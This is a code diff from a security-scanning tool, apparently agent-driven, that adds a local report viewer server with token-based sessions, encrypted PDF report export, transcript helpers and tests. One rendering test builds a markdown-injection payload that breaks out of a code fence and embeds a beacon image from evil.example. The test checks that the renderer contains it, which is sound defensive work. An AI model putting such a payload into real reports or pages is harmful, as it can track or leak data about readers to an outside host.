writer.encrypt(user_password=password, algorithm="AES-256")
out = BytesIO()
writer.write(out)
return out.getvalue()
def build_encrypted_report(run_dir: Path) -> tuple[bytes, str, str]:
"""Build, encrypt, and name the report. Returns (pdf_bytes, password, filename)."""
record = read_run_summary(run_dir)
run_name = str(record.get("run_name") or run_dir.name)
pdf_bytes = generate_report_pdf(run_dir)
password = generate_password()
encrypted = encrypt_pdf(pdf_bytes, password)
filename = f"strix-report-{run_name}.pdf"
return encrypted, password, filename
__all__ = [
"build_encrypted_report",
"encrypt_pdf",
"generate_password",
"generate_report_pdf",
]
+569
View File
@@ -0,0 +1,569 @@
"""Local HTTP server that serves the viewer SPA and a run's data from disk.
Design notes:
- Uses only the standard library (no new runtime dependency). The workload is
serving static files plus a handful of JSON reads off disk, so an async stack
buys nothing here.
- The browser polls the JSON endpoints (~1s) rather than using SSE: a finished
run stops polling, and short-lived polls survive sleep/network blips without
server-side connection state, which suits a stdlib ThreadingHTTPServer.
- All reads happen per-request straight from disk, so the same server serves a
live in-progress run and a finished one identically; the SPA distinguishes
them via the ``finished`` flag on /api/run.
"""
from __future__ import annotations
import json
import logging
import mimetypes
import secrets
import threading
import webbrowser
from http import HTTPStatus
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
from pathlib import Path
from typing import TYPE_CHECKING, Any
from urllib.parse import parse_qs, unquote, urlencode, urlsplit
from strix.core.paths import run_record_path
from strix.viewer import auth
from strix.viewer.transcript import (
build_run_state,
primary_target,
read_report_markdown,
read_run_summary,
read_vulnerabilities,
severity_counts,
)
if TYPE_CHECKING:
from collections.abc import Callable
logger = logging.getLogger(__name__)
def bundle_dir() -> Path:
"""Directory holding the committed, prebuilt SPA (index.html + assets)."""
return Path(__file__).resolve().parent / "static"
def bundle_is_built() -> bool:
return (bundle_dir() / "index.html").is_file()
def _iter_run_dirs(base_dir: Path) -> list[Path]:
"""Every run directory under ``base_dir``, newest first by record mtime."""
if not base_dir.is_dir():
return []
run_dirs = [child for child in base_dir.iterdir() if run_record_path(child).is_file()]
run_dirs.sort(key=lambda child: run_record_path(child).stat().st_mtime, reverse=True)
return run_dirs
def run_list_entry(run_dir: Path) -> dict[str, Any]:
"""Compact summary of a single run for the history list."""
record = read_run_summary(run_dir)
return {
"name": record.get("run_name") or run_dir.name,
"target": primary_target(record),
"scan_mode": record.get("scan_mode"),
"status": record.get("status"),
"start_time": record.get("start_time"),
"end_time": record.get("end_time"),
"finished": bool(record.get("finished")),
"severity_counts": severity_counts(read_vulnerabilities(run_dir)),
}
def build_runs_payload(base_dir: Path, *, verified: bool) -> dict[str, Any]:
"""The /api/runs payload. Gates the run list behind email verification.
The count is always advertised so the UI can tease the history, but the
entries only appear once the viewer is verified.
"""
run_dirs = _iter_run_dirs(base_dir)
count = len(run_dirs)
if not verified:
return {"locked": True, "count": count, "runs": []}
return {"locked": False, "count": count, "runs": [run_list_entry(d) for d in run_dirs]}
def resolve_run_dir(base_dir: Path, run_param: str | None, default_run_dir: Path) -> Path | None:
"""Resolve a ``?run=`` value to a real run directory under ``base_dir``.
Returns ``default_run_dir`` when no run is requested. Rejects traversal and
unknown runs (returns None) so the caller can answer 404.
"""
if not run_param:
return default_run_dir
base = base_dir.resolve()
candidate = (base / run_param).resolve()
# Only direct children of the runs base that actually hold a run record.
if candidate.parent != base or not run_record_path(candidate).is_file():
return None
return candidate
# Name of the cookie carrying the per-process session capability.
SESSION_COOKIE = "strix_viewer_session"
class _ViewerState:
def __init__(
self,
run_dir: Path,
assets_dir: Path,
steer_handler: Callable[[str, str], bool] | None = None,
) -> None:
self.run_dir = run_dir
self.assets_dir = assets_dir
# The strix_runs directory that holds the launched run; used to
# enumerate and resolve other runs for the history list.
self.base_dir = run_dir.parent
# Set only when the viewer runs inside a live scan process (the TUI
# launcher), which can deliver a message to a running agent. Absent for
# standalone ``strix view`` / finished runs, so steering is unavailable.
self.steer_handler = steer_handler
# Unguessable per-process capability. It is minted here, printed/opened
# for the operator who started the server (see ``authorized_url``), and
# exchanged for a session cookie only when presented on the initial page
# load. It is the request-level authorization the review asked for:
# reachability of the port (e.g. when bound with ``--host``) is not
# enough to steer a live scan, trigger a report, or browse history --
# the token is never handed to a caller who merely reaches ``/``.
self.session_token = secrets.token_urlsafe(32)
def _make_handler(state: _ViewerState) -> type[BaseHTTPRequestHandler]:
class ViewerHandler(BaseHTTPRequestHandler):
server_version = "StrixViewer/1.0"
def log_message(self, format: str, *args: Any) -> None: # noqa: A002
logger.debug("viewer %s - %s", self.address_string(), format % args)
def do_GET(self) -> None:
parts = urlsplit(self.path)
path = parts.path
try:
if path.startswith("/api/"):
self._handle_api(path, parse_qs(parts.query))
else:
self._handle_static(path, parse_qs(parts.query))
except BrokenPipeError:
# The browser closed the connection mid-response (e.g. it
# navigated away between polls). Not an error.
logger.debug("viewer client disconnected during %s", path)
except Exception:
# A bad request must never kill the worker thread.
logger.exception("viewer request failed: %s", path)
self._send_json(HTTPStatus.INTERNAL_SERVER_ERROR, {"error": "internal error"})
def do_POST(self) -> None:
path = urlsplit(self.path).path
try:
if path == "/api/event":
self._handle_event()
elif path == "/api/auth/otp/start":
self._handle_otp_start()
elif path == "/api/auth/otp/verify":
self._handle_otp_verify()
elif path == "/api/auth/forget":
self._handle_forget()
elif path == "/api/report/send":
self._handle_report_send()
elif path == "/api/agents/steer":
self._handle_steer()
else:
self._send_json(HTTPStatus.NOT_FOUND, {"error": "unknown endpoint"})
except BrokenPipeError:
logger.debug("viewer client disconnected during POST %s", path)
except Exception:
# A bad request must never kill the worker thread.
logger.exception("viewer request failed: POST %s", path)
self._send_json(HTTPStatus.INTERNAL_SERVER_ERROR, {"error": "internal error"})
def _read_body(self) -> dict[str, Any]:
length = int(self.headers.get("Content-Length") or 0)
raw = self.rfile.read(length) if length else b""
try:
body = json.loads(raw or b"{}")
except json.JSONDecodeError:
return {}
return body if isinstance(body, dict) else {}
# Funnel events the viewer is allowed to forward. This handler is the
# trust boundary: only these event names, with only their known props,
# ever reach PostHog. Everything else (including any PII) is dropped.
_EMAIL_EVENTS = frozenset(
{"email_submitted", "email_verified", "report_sent", "work_email_required"}
)
def _handle_event(self) -> None:
body = self._read_body()
# Forwarded as anonymous PostHog events that respect the global
# telemetry opt-out. Never forward the email, code, or report body:
# only the whitelisted event names and their known props are passed.
event = body.get("event")
if event == "cta_clicked":
from strix.telemetry import posthog
cta = str(body.get("cta") or "unknown")
surface = body.get("surface")
posthog.viewer_cta_clicked(cta, surface=str(surface) if surface else None)
elif event in self._EMAIL_EVENTS:
from strix.telemetry import posthog
purpose = body.get("purpose")
posthog.viewer_email_event(str(event), purpose=str(purpose) if purpose else None)
self.send_response(HTTPStatus.NO_CONTENT)
self.end_headers()
def _handle_api(self, path: str, query: dict[str, list[str]]) -> None:
# The launched run is always viewable with no verification. The
# cross-run history list (/api/runs) unlocks its entries only for a
# caller that holds this process's session capability *and* is email
# verified, so merely reaching an exposed --host port never leaks the
# run list (the payload still advertises the count as a teaser).
if path == "/api/runs":
unlocked = self._has_session() and auth.is_verified()
payload = build_runs_payload(state.base_dir, verified=unlocked)
self._send_json(HTTPStatus.OK, payload)
return
if path == "/api/capabilities":
# Steering is only possible when the viewer shares a live scan's
# coordinator + event loop (the TUI launcher wires a handler).
self._send_json(HTTPStatus.OK, {"can_steer": state.steer_handler is not None})
return
if path == "/api/auth/status":
self._handle_auth_status()
return
run_values = query.get("run")
run_param = run_values[0] if run_values else None
run_dir = resolve_run_dir(state.base_dir, run_param, state.run_dir)
if run_dir is None:
self._send_json(HTTPStatus.NOT_FOUND, {"error": "unknown run"})
return
# The launched run is always viewable. Any *other* run's data is part
# of the gated history: it needs this process's session capability
# (so merely reaching an exposed --host port is not enough) *and*
# email verification -- otherwise knowing a run name would leak its
# metadata, vulnerabilities, report, and transcript.
if run_dir.resolve() != state.run_dir.resolve():
if not self._has_session():
self._send_json(HTTPStatus.FORBIDDEN, {"error": "forbidden"})
return
if not auth.is_verified():
self._send_json(HTTPStatus.UNAUTHORIZED, {"error": "unverified"})
return
if path == "/api/run":
self._send_json(HTTPStatus.OK, read_run_summary(run_dir))
elif path == "/api/vulnerabilities":
self._send_json(HTTPStatus.OK, read_vulnerabilities(run_dir))
elif path == "/api/report":
self._send_json(HTTPStatus.OK, {"markdown": read_report_markdown(run_dir)})
elif path == "/api/transcript":
self._send_json(HTTPStatus.OK, build_run_state(run_dir))
else:
self._send_json(HTTPStatus.NOT_FOUND, {"error": "unknown endpoint"})
def _handle_auth_status(self) -> None:
# The cached verified email is only disclosed to a caller holding this
# process's session capability, so a cookie-less client on an exposed
# --host port cannot read it; everyone else looks unverified.
# Verification is reported through is_verified() so an expired record
# is advertised as unverified -- otherwise the SPA would suppress
# re-verification while history stays locked, stranding the user.
if not self._has_session():
self._send_json(HTTPStatus.OK, {"verified": False, "email": None})
return
record = auth.read_auth()
self._send_json(
HTTPStatus.OK,
{
"verified": auth.is_verified(),
"email": record.get("email") if record else None,
},
)
def _handle_otp_start(self) -> None:
if not self._has_session():
self._send_json(HTTPStatus.FORBIDDEN, {"error": "forbidden"})
return
email = str(self._read_body().get("email") or "").strip()
if not email:
self._send_json(HTTPStatus.BAD_REQUEST, {"error": "invalid_email"})
return
try:
auth.otp_start(email)
except auth.RelayError as exc:
self._send_relay_error(exc)
return
self._send_json(HTTPStatus.OK, {"ok": True})
def _handle_otp_verify(self) -> None:
if not self._has_session():
self._send_json(HTTPStatus.FORBIDDEN, {"error": "forbidden"})
return
body = self._read_body()
email = str(body.get("email") or "").strip()
code = str(body.get("code") or "").strip()
if not email or not code:
self._send_json(HTTPStatus.BAD_REQUEST, {"error": "invalid_code"})
return
try:
result = auth.otp_verify(email, code)
except auth.RelayError as exc:
self._send_relay_error(exc)
return
auth.write_auth(
email=result.get("email") or email,
token=result["token"],
verified_at=result.get("expires_at") or "",
)
verified_email = result.get("email") or email
self._send_json(HTTPStatus.OK, {"verified": True, "email": verified_email})
def _handle_forget(self) -> None:
# Clearing the cached verification is a state change, so it requires
# this process's session capability: a cookie-less caller on an
# exposed --host port must not be able to log the operator out.
if not self._has_session():
self._send_json(HTTPStatus.FORBIDDEN, {"error": "forbidden"})
return
auth.forget()
self._send_json(HTTPStatus.OK, {"ok": True})
def _handle_report_send(self) -> None:
if not self._has_session():
self._send_json(HTTPStatus.FORBIDDEN, {"error": "forbidden"})
return
record = auth.read_auth()
if record is None:
self._send_json(HTTPStatus.UNAUTHORIZED, {"error": "unverified"})
return
run_param = str(self._read_body().get("run") or "") or None
run_dir = resolve_run_dir(state.base_dir, run_param, state.run_dir)
if run_dir is None:
self._send_json(HTTPStatus.NOT_FOUND, {"error": "unknown run"})
return
summary = read_run_summary(run_dir)
# Emailing only makes sense for a completed run; a live scan would
# send a partial report. The UI hides the entry point, but fail
# closed here too so the endpoint can't be driven mid-scan.
if not summary.get("finished", False):
self._send_json(HTTPStatus.CONFLICT, {"error": "run_not_finished"})
return
from strix.viewer.report_pdf import build_encrypted_report
pdf_bytes, password, filename = build_encrypted_report(run_dir)
run_name = str(summary.get("run_name") or run_dir.name)
target = primary_target(summary) or "unknown target"
try:
# The password is intentionally NOT passed here; only the
# encrypted PDF bytes reach the relay.
auth.report_send(record["token"], pdf_bytes, filename, run_name, target)
except auth.RelayError as exc:
self._send_relay_error(exc)
return
# The password is returned only to the local (127.0.0.1) browser.
self._send_json(
HTTPStatus.OK,
{"ok": True, "password": password, "filename": filename},
)
# Cap on a steering message so a runaway client cannot flood the agent.
_STEER_MESSAGE_MAX = 4000
def _handle_steer(self) -> None:
if not self._has_session():
self._send_json(HTTPStatus.FORBIDDEN, {"error": "forbidden"})
return
body = self._read_body()
agent_id = body.get("agent_id")
message = body.get("message")
if not isinstance(agent_id, str) or not agent_id.strip():
self._send_json(HTTPStatus.BAD_REQUEST, {"error": "invalid_agent_id"})
return
if (
not isinstance(message, str)
or not message.strip()
or len(message) > self._STEER_MESSAGE_MAX
):
self._send_json(HTTPStatus.BAD_REQUEST, {"error": "invalid_message"})
return
if state.steer_handler is None:
# Standalone / finished-run viewing has no live scan to steer.
self._send_json(HTTPStatus.FORBIDDEN, {"error": "steering_unavailable"})
return
delivered = state.steer_handler(agent_id, message)
if delivered:
self._send_json(HTTPStatus.OK, {"ok": True})
else:
self._send_json(HTTPStatus.OK, {"ok": False, "error": "not_delivered"})
def _send_relay_error(self, exc: auth.RelayError) -> None:
status_by_code = {
"rate_limited": HTTPStatus.TOO_MANY_REQUESTS,
"invalid_email": HTTPStatus.BAD_REQUEST,
"work_email_required": HTTPStatus.BAD_REQUEST,
"invalid_code": HTTPStatus.FORBIDDEN,
"reverify": HTTPStatus.UNAUTHORIZED,
"forbidden": HTTPStatus.FORBIDDEN,
"too_large": HTTPStatus.REQUEST_ENTITY_TOO_LARGE,
"unavailable": HTTPStatus.BAD_GATEWAY,
}
status = status_by_code.get(exc.code, HTTPStatus.BAD_GATEWAY)
self._send_json(status, {"error": exc.code})
def _cookies(self) -> dict[str, str]:
jar: dict[str, str] = {}
for chunk in (self.headers.get("Cookie") or "").split(";"):
name, sep, value = chunk.strip().partition("=")
if sep:
jar[name] = value
return jar
def _has_session(self) -> bool:
"""True when the request carries this process's session capability.
The cookie is set only when the SPA is served (index.html), so only
the browser this process handed the page to can pass. A direct
caller on an exposed port has no cookie and is rejected.
"""
supplied = self._cookies().get(SESSION_COOKIE, "")
return bool(supplied) and secrets.compare_digest(supplied, state.session_token)
def _token_presented(self, query: dict[str, list[str]]) -> bool:
"""True when the request carries the correct bootstrap token.
The token reaches the operator's browser through the URL printed /
opened by the process that started the server, a channel an
arbitrary network caller on an exposed port cannot observe.
"""
supplied = (query.get("token") or [""])[0]
return bool(supplied) and secrets.compare_digest(supplied, state.session_token)
def _handle_static(self, path: str, query: dict[str, list[str]]) -> None:
target = self._resolve_asset(path)
if target is None:
# SPA fallback: unknown non-asset routes render index.html so
# client-side deep links work.
target = state.assets_dir / "index.html"
is_index = target.name == "index.html"
if not target.is_file():
self._send_json(HTTPStatus.NOT_FOUND, {"error": "not found"})
return
content = target.read_bytes()
content_type, _ = mimetypes.guess_type(str(target))
self.send_response(HTTPStatus.OK)
self.send_header("Content-Type", content_type or "application/octet-stream")
self.send_header("Content-Length", str(len(content)))
if is_index and self._token_presented(query):
# Exchange the bootstrap token for the per-process session
# capability. Issued only when the correct token is presented,
# so a caller who merely reaches ``/`` never obtains it.
# HttpOnly (JS never needs it; fetch sends it automatically) and
# SameSite=Strict (never sent from a cross-site context).
self.send_header(
"Set-Cookie",
f"{SESSION_COOKIE}={state.session_token}; Path=/; HttpOnly; SameSite=Strict",
)
self.end_headers()
self.wfile.write(content)
def _resolve_asset(self, path: str) -> Path | None:
rel = unquote(path).lstrip("/")
if not rel or rel.endswith("/"):
return None
root = state.assets_dir.resolve()
candidate = (root / rel).resolve()
# Path-traversal guard: never serve outside the bundle root.
if root != candidate and root not in candidate.parents:
logger.warning("viewer rejected traversal attempt: %s", path)
return None
return candidate if candidate.is_file() else None
def _send_json(self, status: HTTPStatus, payload: Any) -> None:
body = json.dumps(payload).encode("utf-8")
self.send_response(status)
self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
return ViewerHandler
def authorized_url(base_url: str, token: str) -> str:
"""URL that bootstraps the viewer session for the operator.
Presenting ``token`` on the initial page load is what mints the session
cookie, so this URL is printed / opened only for the operator who started
the server. Sharing it (rather than the bare ``base_url``) is what lets a
trusted remote user authorize when the viewer is exposed with ``--host``.
"""
return f"{base_url}/?{urlencode({'token': token})}"
def serve(
run_dir: Path,
*,
host: str = "127.0.0.1",
port: int = 0,
open_browser: bool = True,
steer_handler: Callable[[str, str], bool] | None = None,
) -> tuple[ThreadingHTTPServer, str, str]:
"""Start the viewer server on a background thread; return (server, url, token).
``url`` is the bare base; pass it through ``authorized_url(url, token)`` to
build the operator link that authorizes the browser.
Binds an ephemeral port by default. If a fixed ``port`` is requested but in
use, falls back to an ephemeral port. Reused by both the ``strix view``
command and the in-TUI launcher; callers own the server's lifetime.
``steer_handler`` is supplied only by the in-TUI launcher, which runs inside
the live scan process and can forward a message to a running agent. Left
``None`` (standalone ``strix view``), steering is reported unavailable.
"""
assets_dir = bundle_dir()
state = _ViewerState(run_dir=run_dir, assets_dir=assets_dir, steer_handler=steer_handler)
handler = _make_handler(state)
try:
httpd = ThreadingHTTPServer((host, port), handler)
except OSError:
if port == 0:
raise
logger.info("viewer port %s unavailable, falling back to an ephemeral port", port)
httpd = ThreadingHTTPServer((host, 0), handler)
httpd.daemon_threads = True
bound_port = int(httpd.server_address[1])
url = f"http://{host}:{bound_port}"
thread = threading.Thread(target=httpd.serve_forever, name="strix-viewer", daemon=True)
thread.start()
if open_browser:
_open_browser(authorized_url(url, state.session_token))
return httpd, url, state.session_token
def _open_browser(url: str) -> None:
try:
webbrowser.open(url)
except Exception: # noqa: BLE001 - launching the browser is best-effort
logger.debug("could not open browser for %s", url, exc_info=True)
__all__ = ["authorized_url", "bundle_dir", "bundle_is_built", "serve"]
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
+15
View File
@@ -0,0 +1,15 @@
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<link rel="icon" type="image/png" href="./logo.png" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta name="color-scheme" content="dark" />
<title>Strix Results</title>
<script type="module" crossorigin src="./assets/index-BU_tk5L-.js"></script>
<link rel="stylesheet" crossorigin href="./assets/index-C0NveaV7.css">
</head>
<body>
<div id="root"></div>
</body>
</html>
Binary file not shown.

After

Width:  |  Height:  |  Size: 3.7 KiB

+106
View File
@@ -0,0 +1,106 @@
"""Build the JSON payloads the viewer SPA consumes from a run directory."""
from __future__ import annotations
import json
import logging
from typing import TYPE_CHECKING, Any
from strix.core.paths import run_record_path
if TYPE_CHECKING:
from pathlib import Path
logger = logging.getLogger(__name__)
_TERMINAL_STATUSES = {"completed", "stopped", "failed", "interrupted"}
_KNOWN_SEVERITIES = ("critical", "high", "medium", "low")
def severity_counts(vulns: list[Any]) -> dict[str, int]:
"""Bucket vulnerabilities into critical/high/medium/low counts.
Mirrors the SPA's ``severityCounts``: severities are lowercased and
trimmed, and anything outside the four known buckets (``info``,
``informational``, ``unknown``, missing, ...) folds into ``low`` so the
shared UI renders cleanly.
"""
counts = dict.fromkeys(_KNOWN_SEVERITIES, 0)
for vuln in vulns:
raw = vuln.get("severity") if isinstance(vuln, dict) else None
severity = str(raw or "").lower().strip()
if severity not in counts:
severity = "low"
counts[severity] += 1
return counts
def build_run_state(run_dir: Path) -> dict[str, Any]:
"""Agent graph + full per-agent event/message stream.
Reuses the Textual-free ``TuiLiveView`` projection so the viewer and the TUI
share one parser for ``agents.json`` + ``agents.db`` and never drift.
"""
# Imported lazily so importing strix.viewer does not eagerly pull the TUI.
from strix.interface.tui.live_view import TuiLiveView # noqa: PLC0415
view = TuiLiveView()
view.hydrate_from_run_dir(run_dir)
return {"agents": list(view.agents.values()), "events": view.events}
def read_run_summary(run_dir: Path) -> dict[str, Any]:
"""The ``run.json`` record plus a computed ``finished`` flag."""
record = _load_json(run_record_path(run_dir), default={})
if not isinstance(record, dict):
record = {}
status = record.get("status")
finished = status in _TERMINAL_STATUSES and bool(record.get("end_time"))
return {**record, "finished": finished}
def primary_target(record: dict[str, Any]) -> str | None:
"""The first target's original string from a run record, or None."""
targets = record.get("targets_info")
if isinstance(targets, list):
for entry in targets:
if isinstance(entry, dict):
original = entry.get("original")
if isinstance(original, str) and original:
return original
return None
def read_vulnerabilities(run_dir: Path) -> list[Any]:
"""The ``vulnerabilities.json`` list (empty until a scan writes it)."""
data = _load_json(run_dir / "vulnerabilities.json", default=[])
return data if isinstance(data, list) else []
def read_report_markdown(run_dir: Path) -> str:
"""The executive report markdown (empty until a scan writes it)."""
report_path = run_dir / "penetration_test_report.md"
try:
return report_path.read_text(encoding="utf-8")
except OSError:
return ""
def _load_json(path: Path, *, default: Any) -> Any:
try:
return json.loads(path.read_text(encoding="utf-8"))
except (OSError, json.JSONDecodeError):
return default
__all__ = [
"build_run_state",
"primary_target",
"read_report_markdown",
"read_run_summary",
"read_vulnerabilities",
"severity_counts",
]
+16
View File
@@ -166,6 +166,22 @@ def test_build_raw_request_recomputes_content_length_for_modified_body() -> None
assert _headers_named(raw, "Content-Length") == [str(len(body.encode("utf-8")))]
def test_build_raw_request_drops_transfer_encoding_for_modified_body() -> None:
body = '{"user":"updated"}'
_conn, raw = caido_api.build_raw_request(
method="POST",
url="https://example.com/login",
headers={
"tRaNsFeR-EnCoDiNg": "chunked",
"Content-Length": "7",
"Content-Type": "application/json",
},
body=body,
)
assert _headers_named(raw, "Transfer-Encoding") == []
assert _headers_named(raw, "Content-Length") == [str(len(body.encode("utf-8")))]
def test_build_raw_request_drops_stale_content_length_for_empty_body() -> None:
# A body cleared to empty must not keep the inherited (non-zero) length.
_conn, raw = caido_api.build_raw_request(
+105
View File
@@ -0,0 +1,105 @@
"""Tests for building and encrypting the viewer PDF report."""
from __future__ import annotations
import json
from io import BytesIO
from typing import TYPE_CHECKING
import pytest
from pypdf import PdfReader
from pypdf.errors import WrongPasswordError
from strix.viewer.report_pdf import (
build_encrypted_report,
encrypt_pdf,
generate_password,
generate_report_pdf,
)
if TYPE_CHECKING:
from pathlib import Path
def _make_run(base: Path, name: str = "sample") -> Path:
run_dir = base / "strix_runs" / name
run_dir.mkdir(parents=True)
record = {
"run_name": name,
"targets_info": [{"original": "https://example.com"}],
"scan_mode": "deep",
"status": "completed",
"start_time": "2026-01-01T00:00:00Z",
"end_time": "2026-01-01T01:02:03Z",
"scan_results": {
"executive_summary": "Summary with an ampersand & an <angle> bracket.",
"recommendations": "Patch things.",
},
}
(run_dir / "run.json").write_text(json.dumps(record), encoding="utf-8")
vulns = [
{
"title": "SQL Injection",
"severity": "CRITICAL",
"cvss": 9.8,
"description": "User input reaches the query.",
"impact": "Full database read.",
"technical_analysis": "Details here.",
"poc_description": "Send a crafted parameter.",
"poc_script_code": "print('exploit')",
"evidence": "HTTP 500 with SQL error.",
"remediation_steps": ["Use parameterized queries", "Validate input"],
"target": "https://example.com",
"endpoint": "/login",
"method": "POST",
},
{"title": "Informational note", "severity": "info"},
]
(run_dir / "vulnerabilities.json").write_text(json.dumps(vulns), encoding="utf-8")
return run_dir
def test_generate_report_pdf_has_pdf_header(tmp_path: Path) -> None:
run_dir = _make_run(tmp_path)
pdf = generate_report_pdf(run_dir)
assert pdf.startswith(b"%PDF-")
assert len(pdf) > 1000
def test_generate_password_is_long_and_random() -> None:
first = generate_password()
second = generate_password()
assert len(first) >= 20
assert first != second
def test_encrypt_pdf_roundtrip(tmp_path: Path) -> None:
run_dir = _make_run(tmp_path)
pdf = generate_report_pdf(run_dir)
password = generate_password()
encrypted = encrypt_pdf(pdf, password)
reader = PdfReader(BytesIO(encrypted))
assert reader.is_encrypted
assert reader.decrypt(password)
# A correct password unlocks the pages.
assert len(reader.pages) >= 1
def test_wrong_password_is_rejected(tmp_path: Path) -> None:
run_dir = _make_run(tmp_path)
encrypted = encrypt_pdf(generate_report_pdf(run_dir), "correct-horse-battery")
with pytest.raises(WrongPasswordError):
PdfReader(BytesIO(encrypted), password="not-the-password")
def test_build_encrypted_report(tmp_path: Path) -> None:
run_dir = _make_run(tmp_path, name="run-42")
pdf_bytes, password, filename = build_encrypted_report(run_dir)
assert filename == "strix-report-run-42.pdf"
assert len(password) >= 20
reader = PdfReader(BytesIO(pdf_bytes))
assert reader.is_encrypted
assert reader.decrypt(password)
+22
View File
@@ -113,6 +113,28 @@ def test_render_vulnerability_md_includes_dependency_fields() -> None:
assert "## Assumptions" in md
def test_render_vulnerability_md_poc_code_cannot_break_out_of_fence() -> None:
# LLM/target-authored PoC content containing its own ``` must not close the
# fence early and turn the injected markdown into live headings/images.
injected = "curl x\n```\n\n## Injected Heading\n![x](https://evil.example/beacon.png)"
md = render_vulnerability_md(_sample_report(poc_script_code=injected))
lines = md.split("\n")
fence = next(ln for ln in lines[lines.index("## Proof of Concept") + 1 :] if ln.strip())
assert set(fence) == {"`"}
assert len(fence) >= 4 # wider than the payload's 3-backtick run
assert injected in md # the payload survives verbatim, inside the fence
def test_render_vulnerability_md_snippet_cannot_break_out_of_fence() -> None:
snippet = "row = q()\n```\n## Injected"
md = render_vulnerability_md(
_sample_report(code_locations=[{"file": "app.py", "snippet": snippet}]),
)
assert (
" ````\n row = q()\n ```\n ## Injected\n ````"
) in md # indented fence widened past the payload's ``` run
def test_write_vulnerabilities_creates_markdown_csv_and_json(tmp_path: Path) -> None:
reports = [
_sample_report(id="vuln-0001", severity="medium", timestamp="2026-07-02 11:00:00 UTC"),

Some files were not shown because too many files have changed in this diff Show More